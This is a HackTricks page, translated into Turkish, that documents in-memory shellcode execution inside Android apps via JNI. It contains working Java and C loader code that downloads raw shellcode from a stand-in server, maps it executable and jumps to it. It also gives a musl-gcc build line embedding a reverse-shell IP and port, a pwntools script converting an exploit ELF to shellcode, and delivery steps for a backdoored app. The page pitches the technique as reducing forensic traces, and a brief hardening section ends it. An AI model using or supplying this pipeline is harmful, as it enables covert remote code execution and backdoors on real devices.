Android In-Memory Native Code Execution via JNI (shellcode)
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu sayfa, JNI kullanarak güvensiz bir Android uygulama sürecinden native payload'ları tamamen bellekte çalıştırmak için pratik bir deseni belgelemektedir. Akış, disk üzerinde herhangi bir native binary oluşturmayı engeller: ham shellcode bytes'larını HTTP(S) üzerinden indirir, bunları bir JNI bridge'e geçirir, RX memory ayırır ve ona atlar.
Neden önemli
- Adli izleri azaltır (diskte ELF yok)
- ELF exploit binary'den üretilen “stage-2” native payload'larla uyumludur
- Modern malware ve red teams tarafından kullanılan tradecraft ile örtüşür
Yüksek seviye desen
- Java/Kotlin tarafında shellcode baytlarını al
- Byte array ile native methodu (JNI) çağır
- JNI içinde: RW memory ayır → baytları kopyala → mprotect ile RX yap → entrypoint'i çağır
Minimal örnek
Java/Kotlin tarafı
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
C JNI tarafı (arm64/amd64)
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
Notlar ve uyarılar
- W^X/execmem: Modern Android W^X'i uygular; anonim PROT_EXEC eşlemeleri JIT içeren uygulama süreçleri için hâlâ genelde izinlidir (SELinux policy'ye tabidir). Bazı cihazlar/ROM'lar bunu kısıtlar; gerektiğinde JIT-allocated exec pools veya native bridges'e geri dönün.
- Mimariler: shellcode mimarisinin cihazla eşleştiğinden emin olun (genelde arm64-v8a; x86 sadece emülatörlerde).
- Giriş noktası sözleşmesi: shellcode girişiniz için bir konvansiyon belirleyin (arg yok mu yoksa yapı işaretçisi mi). Bunu position-independent (PIC) tutun.
- Kararlılık: Atlamadan önce instruction cache'i temizleyin; uyuşmayan cache ARM'da çökmeye neden olabilir.
Paketleme ELF → position‑independent shellcode Sağlam bir operatör pipeline'ı şu şekildedir:
- Exploit'inizi statik bir ELF olarak musl-gcc ile derleyin
- ELF'i pwntools’ shellcraft.loader_append kullanarak self‑loading shellcode blob'una dönüştürün
Derleme
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
ELF'i ham shellcode'a dönüştürme (amd64 örneği)
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
Why loader_append works: küçük, gömülü ELF program segmentlerini belleğe mapleyen ve kontrolü entrypoint’e aktaran bir loader üretiyor; böylece uygulama tarafından memcpy'lenip çalıştırılabilecek tek bir ham blob elde edersiniz.
Delivery
- Kontrolünüzdeki bir HTTP(S) sunucusunda sc barındırın
- Backdoored/test app sc'yi indirir ve yukarıda gösterilen JNI bridge'i çağırır
- Kernel/user-mode payload'ın kurduğu herhangi bir reverse bağlantı için operator box'unuzda dinleyin
Validation workflow for kernel payloads
- Hızlı reversing/offset recovery için symbolized vmlinux kullanın
- Varsa uygun bir debug image üzerinde primitives'leri prototipleyin, ancak her zaman gerçek Android hedefinde yeniden doğrulayın (kallsyms, KASLR slide, page-table layout ve mitigations farklıdır)
Hardening/Detection (blue team)
- Mümkün olduğunda uygulama domain'lerinde anonim PROT_EXEC'e izin vermeyin (SELinux policy)
- Katı kod bütünlüğü uygulayın (network üzerinden dinamik native loading yok) ve update channel'ları doğrulayın
- Şüpheli mmap/mprotect geçişlerini RX'e ve atlamalardan önceki büyük byte-array kopyalarını izleyin
References
- CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)
- build.sh (musl-gcc + pwntools pipeline)
- exp2sc.py (pwntools shellcraft.loader_append)
- exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)
- INSTRUCTIONS.md (setup notes)
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.